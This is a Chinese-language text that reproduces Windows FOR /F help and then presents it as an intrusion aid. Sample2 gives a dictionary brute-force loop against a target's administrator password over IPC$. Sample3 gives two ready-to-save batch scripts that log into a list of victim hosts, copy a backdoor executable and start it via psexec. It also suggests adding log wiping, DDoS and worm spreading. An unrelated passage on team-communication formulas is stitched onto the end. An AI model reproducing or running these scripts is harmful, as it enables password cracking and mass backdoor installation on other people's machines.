指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究。
软件开发,共有N个工作人员。
1,问,共有多少个相互交流的接口?
答案:[N(2次方)-N]/2。
2,问,有多少个可以合作的潜在团队?
答案:[2(N次方)-1]个。
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为什么要做这个算式?提高开发效率,必定要限制交流接口,安排合理的合作团队。而这个,同时是限制开发人员成为业务人员的瓶口。